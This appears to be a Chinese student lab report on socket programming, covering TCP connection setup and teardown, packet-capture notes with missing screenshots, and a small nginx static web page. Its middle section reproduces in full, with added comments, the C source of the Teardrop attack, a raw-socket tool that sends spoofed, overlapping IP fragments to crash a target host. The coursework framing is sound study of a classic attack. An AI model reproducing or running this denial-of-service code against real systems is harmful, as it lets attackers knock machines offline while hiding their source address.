SOCKET实战
一、TCP
1.TCP的连接建立
原理图：
假定主机 A 是 TCP 客户端，B是服务端。最初两端的 TCP 进程都处于 CLOSED 状态。图中在主机下面的是 TCP进程所处的状态。A 是主动打开连接，B 是被动打开连接。
1.1三次握手过程分析
（1）首先A向B发出连接请求报文段，这时首部中的同步位SYN=1，同时选择一个初始序号 seq=x。TCP规定，SYN报文段不能携带数据，但要消耗掉一个序号。这时，A进入SYN-SENT状态。【备注：序号指的是 TCP 报文段首部20字节里的序号，TCP 连接传送的字节流的每一个字节都按顺序编号，具体可以看看 TCP 可靠传输实现的原理】
（2）B收到请求后，向A发送确认。在确认报文段中把SYN和ACK位都置为1，确认号是ack=x+1,同时也为自己选择一个初始序号seq=y。请注意，这个报文段也不能携带数据，但同样要消耗掉一个序号。这时B进入SYN-RCVD状态。
（3）A收到B的确认后，还要向B给出确认。确认报文段的ACK置为1，确认号ack=y+1，而自己的序号seq=x+1。这时，TCP连接已经建立，A进入ESTABLISHED 状态，当B收到A的确认后，也会进入 ESTABLISHED 状态。
分析
第一次握手：客户端->服务器
（ACK=0;SYN=1）
第二次握手：服务器->客户端
（ACK=1;SYN=1）
第三次握手：客户端->服务器
（ACK=1;SYN=0）
1.2TCP连接释放
原理图：
1.3四次握手过程分析
数据传输结束后，通信的双方都可以释放连接，并停止发送数据。假设现在客户端和服务端都处于ESTABLISHED状态。
（1）客户端 A 的 TCP 进程先向服务端发出连接释放报文段，并停止发送数据，主动关闭 TCP 连接。释放连接报文段中 FIN=1，序号为 seq=u，该序号等于前面已经传送过去的数据的最后一个字节的序号加1。这时，A进入 FIN—WAIT-1 (终止等待1)状态，等待 B 的确认。TCP 规定，FIN报文段即使不携带数据，也要消耗掉一个序号。这是 TCP 连接释放的第一次挥手。
（2）B收到连接释放报文段后即发出确认释放连接的报文段，该报文段中，ACK=1，确认号为ack=u+1，其自己的序号为v，该序号等于B前面已经传送过的数据的最后一个字节的序号加1。然后B进入CLOSE—WAIT(关闭等待)状态，此时TCP服务器进程应该通知上层的应用进程，因而A到B这个方向的连接就释放了，这时TCP处于半关闭状态，即A已经没有数据要发了，但B若发送数据，A仍要接受，也就是说从B到A这个方向的连接并没有关闭，这个状态可能会持续一些时间。这是TCP连接释放的第二次挥手。
（3）A收到B的确认后，就进入了FIN—WAIT(终止等待2)状态，等待B发出连接释放报文段，如果B已经没有要向A发送的数据了，其应用进程就通知TCP释放连接。这时B发出的链接释放报文段中，FIN=1，确认号还必须重复上次已发送过的确认号，即ack=u+1，序号seq=w，因为在半关闭状态B可能又发送了一些数据，因此该序号为半关闭状态发送的数据的最后一个字节的序号加1。这时B进入LAST—ACK(最后确认)状态，等待A的确认，这是TCP连接的第三次挥手。
（4）A收到B的连接释放请求后，必须对此发出确认。确认报文段中，ACK=1，确认号ack=w+1，而自己的序号seq=u+1，而后进入TIME—WAIT(时间等待)状态。这时候，TCP连接还没有释放掉，必须经过时间等待计时器设置的时间2MSL后，A才进入CLOSED状态，时间MSL叫做最长报文寿命，RFC建议设为2分钟，因此从A进入TIME—WAIT状态后，要经过4分钟才能进入到CLOSED状态，而B只要收到了A的确认后，就进入了CLOSED状态。二者都进入CLOSED状态后，连接就完全释放了，这是TCP连接的第四次挥手。
分析
第一次：客户端->服务器
（ACK=1;FIN=1）
第二次：服务器->客户端
(ACK=1;FIN=0)
第三次：服务器->客户端
(ACK=1;FIN=1)
第四次：客户端->服务器
(ACK=1;FIN=0)
1.4wireshark对游戏服务器抓包分析
1.4.1打开之前的金庸游戏客户端连接服务器时
第一次握手：
第二次握手：
第三次握手：
1.4.2断开服务器
关闭客户端后接着抓包
第一次握手：
第二次握手：
第三次握手：
第四次握手：
1.5安装fiddler抓包分析
1.5.1安装教程
参考：https://blog.csdn.net/ychgyyn/article/details/82154433
1.5.2抓包分析
抓取HTTPS包分析
打开火狐浏览器，访问百度随后打开fiddler结果如下：
分析结果如下：
二、Teardrop代码编程
2.1Teardrop攻击
Teardrop攻击是一种畸形报文攻击。原理是向攻击者发送的多个分片的IP包，由于操作系统会将分开的IP包重新组合，系统收到偏移量错误IP包然后组合，导致数据异常。
2.2代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据：Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
2.3编译运行抓包分析
三、SOCKET应用实例
树莓派已坏无法进行验证。。。。
四、使用html完成一个静态网页
4.1在ubuntu下安装ngnix
参考：https://www.cnblogs.com/gede/p/11011693.html
4.2创建一个html文件index
代码：
<!DOCTYPE html>
<html>
<head>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Page Title</title>
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<body>
<h1>谨此</h1>
<p>永远怀念黑曼巴</p>
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<br><br><br>
<a href="https://www.bilibili.com/video/BV1jy4y1U7m6?from=search&seid=4937962384023275174">告别科比</a>
<br><br><br>
<a href="ww.rar">下载ww.txt 文本</a>
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</html>
运行结果如下：
